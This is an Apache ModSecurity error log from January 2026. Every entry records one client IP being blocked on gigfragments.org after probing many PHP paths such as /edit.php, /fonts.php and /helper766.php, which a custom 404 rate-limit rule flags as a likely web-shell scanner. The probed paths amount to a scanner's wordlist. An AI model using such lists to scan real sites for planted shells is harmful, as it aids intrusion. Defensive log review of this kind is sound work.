[Sun Jan 04 21:04:45.523202 2026] [:error] [pid 1297:tid 1313] [client 4.194.49.38:38231] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api137.php"] [unique_id "aVplbRf98x0RBG23PjfjqQAAAA4"]
[Sun Jan 04 21:04:47.120493 2026] [:error] [pid 23868:tid 23892] [client 4.194.49.38:34944] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api137.php"] [unique_id "aVplb7baf-JYFyQL_057xwAAAFA"]
[Sun Jan 04 21:04:48.739565 2026] [:error] [pid 29350:tid 29372] [client 4.194.49.38:37985] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib068.php"] [unique_id "aVplcFZWNWo1XwAbpfafiQAAAo8"]
[Sun Jan 04 21:04:51.356684 2026] [:error] [pid 29350:tid 29359] [client 4.194.49.38:34953] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib068.php"] [unique_id "aVplc1ZWNWo1XwAbpfafjQAAAoI"]
[Sun Jan 04 21:04:53.727436 2026] [:error] [pid 23903:tid 23921] [client 4.194.49.38:38258] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib068.php"] [unique_id "aVpldT_yzB-omvQP-LLMLQAAAMw"]
[Sun Jan 04 21:04:55.850977 2026] [:error] [pid 23968:tid 24008] [client 4.194.49.38:34948] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib068.php"] [unique_id "aVpld2zpAzHWBUMs-z6AMQAAAgo"]
[Sun Jan 04 21:04:58.194508 2026] [:error] [pid 23968:tid 24011] [client 4.194.49.38:37970] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "aVplemzpAzHWBUMs-z6ANQAAAg0"]
[Sun Jan 04 21:05:00.743242 2026] [:error] [pid 23868:tid 23878] [client 4.194.49.38:37966] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "aVplfLbaf-JYFyQL_0572wAAAEI"]
[Sun Jan 04 21:05:03.046806 2026] [:error] [pid 21753:tid 21773] [client 4.194.49.38:47092] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "aVplf14xwAtqKablc07_cQAAAlE"]
[Sun Jan 04 21:05:04.918101 2026] [:error] [pid 1297:tid 1315] [client 4.194.49.38:34946] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "aVplgBf98x0RBG23PjfjuwAAABA"]
[Sun Jan 04 21:05:06.154534 2026] [:error] [pid 23903:tid 23916] [client 4.194.49.38:34999] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asus.php"] [unique_id "aVplgj_yzB-omvQP-LLMMgAAAMc"]
[Sun Jan 04 21:05:07.771581 2026] [:error] [pid 17268:tid 17288] [client 4.194.49.38:47075] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asus.php"] [unique_id "aVplg7PW8UB8HzRRfIdEbQAAAVE"]
[Sun Jan 04 21:05:10.118805 2026] [:error] [pid 1297:tid 1320] [client 4.194.49.38:34975] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asus.php"] [unique_id "aVplhhf98x0RBG23PjfjwAAAABU"]
[Sun Jan 04 21:05:13.806308 2026] [:error] [pid 23868:tid 23880] [client 4.194.49.38:47048] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asus.php"] [unique_id "aVplibbaf-JYFyQL_0577gAAAEQ"]
[Sun Jan 04 21:05:15.541559 2026] [:error] [pid 29415:tid 29460] [client 4.194.49.38:34961] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index685.php"] [unique_id "aVplizEg4D51XOxGJ6yiBwAAA48"]
[Sun Jan 04 21:05:35.628346 2026] [:error] [pid 23868:tid 23878] [client 4.194.49.38:34990] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/widgets.php"] [unique_id "aVpln7baf-JYFyQL_058GgAAAEI"]
[Sun Jan 04 21:05:38.649401 2026] [:error] [pid 21720:tid 21743] [client 4.194.49.38:38226] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/widgets.php"] [unique_id "aVplon5pkDWzwRcldOpOJgAAAJU"]
[Sun Jan 04 21:05:40.953996 2026] [:error] [pid 29351:tid 29399] [client 4.194.49.38:34949] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/widgets.php"] [unique_id "aVplpJtGiMsRmNcKXvo0IgAAAs8"]
[Sun Jan 04 21:05:41.687588 2026] [:error] [pid 29415:tid 29462] [client 4.194.49.38:37972] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/widgets.php"] [unique_id "aVplpTEg4D51XOxGJ6yiLwAAA5E"]
[Sun Jan 04 21:05:43.269824 2026] [:error] [pid 29415:tid 29459] [client 4.194.49.38:38229] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/data225.php"] [unique_id "aVplpzEg4D51XOxGJ6yiMgAAA44"]
[Sun Jan 04 21:05:44.521880 2026] [:error] [pid 29350:tid 29380] [client 4.194.49.38:38010] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/data225.php"] [unique_id "aVplqFZWNWo1XwAbpfaf7gAAApc"]
[Sun Jan 04 21:05:45.297147 2026] [:error] [pid 23903:tid 23915] [client 4.194.49.38:47079] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/data225.php"] [unique_id "aVplqT_yzB-omvQP-LLMVgAAAMY"]
[Sun Jan 04 21:05:46.387670 2026] [:error] [pid 21753:tid 21769] [client 4.194.49.38:38217] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/data225.php"] [unique_id "aVplql4xwAtqKablc07_lQAAAk0"]
[Sun Jan 04 21:05:47.999190 2026] [:error] [pid 29415:tid 29455] [client 4.194.49.38:34958] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fonts.php"] [unique_id "aVplqzEg4D51XOxGJ6yiOAAAA4o"]
[Sun Jan 04 21:05:48.881934 2026] [:error] [pid 17268:tid 17282] [client 4.194.49.38:38221] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fonts.php"] [unique_id "aVplrLPW8UB8HzRRfIdEoAAAAUs"]
[Sun Jan 04 21:05:49.244525 2026] [:error] [pid 29350:tid 29378] [client 4.194.49.38:38251] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fonts.php"] [unique_id "aVplrVZWNWo1XwAbpfaf9gAAApU"]
[Sun Jan 04 21:05:50.309978 2026] [:error] [pid 1297:tid 1323] [client 4.194.49.38:38270] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fonts.php"] [unique_id "aVplrhf98x0RBG23Pjfj5wAAABg"]
[Sun Jan 04 21:05:51.365122 2026] [:error] [pid 29351:tid 29384] [client 4.194.49.38:47071] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cache795.php"] [unique_id "aVplr5tGiMsRmNcKXvo0KQAAAsA"]
[Sun Jan 04 21:05:52.069056 2026] [:error] [pid 21720:tid 21737] [client 4.194.49.38:34956] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cache795.php"] [unique_id "aVplsH5pkDWzwRcldOpOMAAAAI8"]
[Sun Jan 04 21:05:53.911989 2026] [:error] [pid 23868:tid 23891] [client 4.194.49.38:47070] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cache795.php"] [unique_id "aVplsbbaf-JYFyQL_058OAAAAE8"]
[Sun Jan 04 21:05:54.431577 2026] [:error] [pid 1297:tid 1312] [client 4.194.49.38:47098] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cache795.php"] [unique_id "aVplshf98x0RBG23Pjfj6QAAAA0"]
[Sun Jan 04 21:05:55.314270 2026] [:error] [pid 29350:tid 29368] [client 4.194.49.38:38267] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index282.php"] [unique_id "aVpls1ZWNWo1XwAbpfagAgAAAos"]
[Sun Jan 04 21:05:57.198623 2026] [:error] [pid 1297:tid 1306] [client 4.194.49.38:38264] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index282.php"] [unique_id "aVpltRf98x0RBG23Pjfj7gAAAAc"]
[Sun Jan 04 21:05:58.678305 2026] [:error] [pid 23968:tid 24019] [client 4.194.49.38:37963] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index282.php"] [unique_id "aVpltmzpAzHWBUMs-z6AkQAAAhU"]
[Sun Jan 04 21:06:01.565839 2026] [:error] [pid 21753:tid 21761] [client 4.194.49.38:38237] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index282.php"] [unique_id "aVpluV4xwAtqKablc07_pwAAAkU"]
[Sun Jan 04 21:06:04.027519 2026] [:error] [pid 21753:tid 21778] [client 4.194.49.38:34974] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api986.php"] [unique_id "aVplvF4xwAtqKablc07_qwAAAlY"]
[Sun Jan 04 21:06:07.576635 2026] [:error] [pid 29351:tid 29388] [client 4.194.49.38:37969] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api986.php"] [unique_id "aVplv5tGiMsRmNcKXvo0RwAAAsQ"]
[Sun Jan 04 21:06:09.205471 2026] [:error] [pid 17268:tid 17290] [client 4.194.49.38:47051] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api986.php"] [unique_id "aVplwbPW8UB8HzRRfIdEtgAAAVM"]
[Sun Jan 04 21:06:10.982993 2026] [:error] [pid 23903:tid 23925] [client 4.194.49.38:23090] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api986.php"] [unique_id "aVplwj_yzB-omvQP-LLMawAAANA"]
[Sun Jan 04 21:06:12.288602 2026] [:error] [pid 29351:tid 29387] [client 4.194.49.38:47099] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nav-menu.php"] [unique_id "aVplxJtGiMsRmNcKXvo0UQAAAsM"]
[Sun Jan 04 21:06:13.959373 2026] [:error] [pid 23903:tid 23928] [client 4.194.49.38:38241] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nav-menu.php"] [unique_id "aVplxT_yzB-omvQP-LLMbwAAANM"]
[Sun Jan 04 21:06:15.952157 2026] [:error] [pid 21753:tid 21780] [client 4.194.49.38:47065] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nav-menu.php"] [unique_id "aVplx14xwAtqKablc07_twAAAlg"]
[Sun Jan 04 21:06:18.031228 2026] [:error] [pid 21720:tid 21746] [client 4.194.49.38:38261] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nav-menu.php"] [unique_id "aVplyn5pkDWzwRcldOpOSQAAAJg"]
[Sun Jan 04 21:06:21.525566 2026] [:error] [pid 1297:tid 1300] [client 4.194.49.38:47100] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/out.php"] [unique_id "aVplzRf98x0RBG23Pjfj-gAAAAE"]
[Sun Jan 04 21:06:24.257222 2026] [:error] [pid 23968:tid 23999] [client 4.194.49.38:35002] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/out.php"] [unique_id "aVpl0GzpAzHWBUMs-z6AswAAAgE"]
[Sun Jan 04 21:06:26.628798 2026] [:error] [pid 23968:tid 24015] [client 4.194.49.38:38211] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/out.php"] [unique_id "aVpl0mzpAzHWBUMs-z6AtgAAAhE"]
[Sun Jan 04 21:06:28.410853 2026] [:error] [pid 23903:tid 23914] [client 4.194.49.38:47041] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/out.php"] [unique_id "aVpl1D_yzB-omvQP-LLMhAAAAMU"]
[Sun Jan 04 21:06:30.998973 2026] [:error] [pid 21720:tid 21727] [client 4.194.49.38:47053] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/t.php"] [unique_id "aVpl1n5pkDWzwRcldOpOUwAAAIU"]
[Sun Jan 04 21:06:51.250600 2026] [:error] [pid 17268:tid 17290] [client 4.194.49.38:47060] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tin.php"] [unique_id "aVpl67PW8UB8HzRRfIdE_AAAAVM"]
[Sun Jan 04 21:06:54.259187 2026] [:error] [pid 29415:tid 29466] [client 4.194.49.38:34972] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tin.php"] [unique_id "aVpl7jEg4D51XOxGJ6yirAAAA5U"]
[Sun Jan 04 21:06:56.222152 2026] [:error] [pid 23968:tid 24019] [client 4.194.49.38:37965] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tin.php"] [unique_id "aVpl8GzpAzHWBUMs-z6A1wAAAhU"]
[Sun Jan 04 21:06:57.030503 2026] [:error] [pid 29351:tid 29388] [client 4.194.49.38:47062] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tin.php"] [unique_id "aVpl8ZtGiMsRmNcKXvo0uAAAAsQ"]
[Sun Jan 04 21:06:58.162496 2026] [:error] [pid 29351:tid 29393] [client 4.194.49.38:38216] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/helper766.php"] [unique_id "aVpl8ptGiMsRmNcKXvo0uwAAAsk"]
[Sun Jan 04 21:07:00.422644 2026] [:error] [pid 29350:tid 29358] [client 4.194.49.38:47088] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/helper766.php"] [unique_id "aVpl9FZWNWo1XwAbpfagWQAAAoE"]
[Sun Jan 04 21:07:02.751646 2026] [:error] [pid 23868:tid 23876] [client 4.194.49.38:34982] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/helper766.php"] [unique_id "aVpl9rbaf-JYFyQL_058fQAAAEA"]
[Sun Jan 04 21:07:05.032086 2026] [:error] [pid 23903:tid 23915] [client 4.194.49.38:34977] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/helper766.php"] [unique_id "aVpl-T_yzB-omvQP-LLMswAAAMY"]
[Sun Jan 04 21:07:07.134913 2026] [:error] [pid 29351:tid 29397] [client 4.194.49.38:37956] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib751.php"] [unique_id "aVpl-5tGiMsRmNcKXvo0wwAAAs0"]
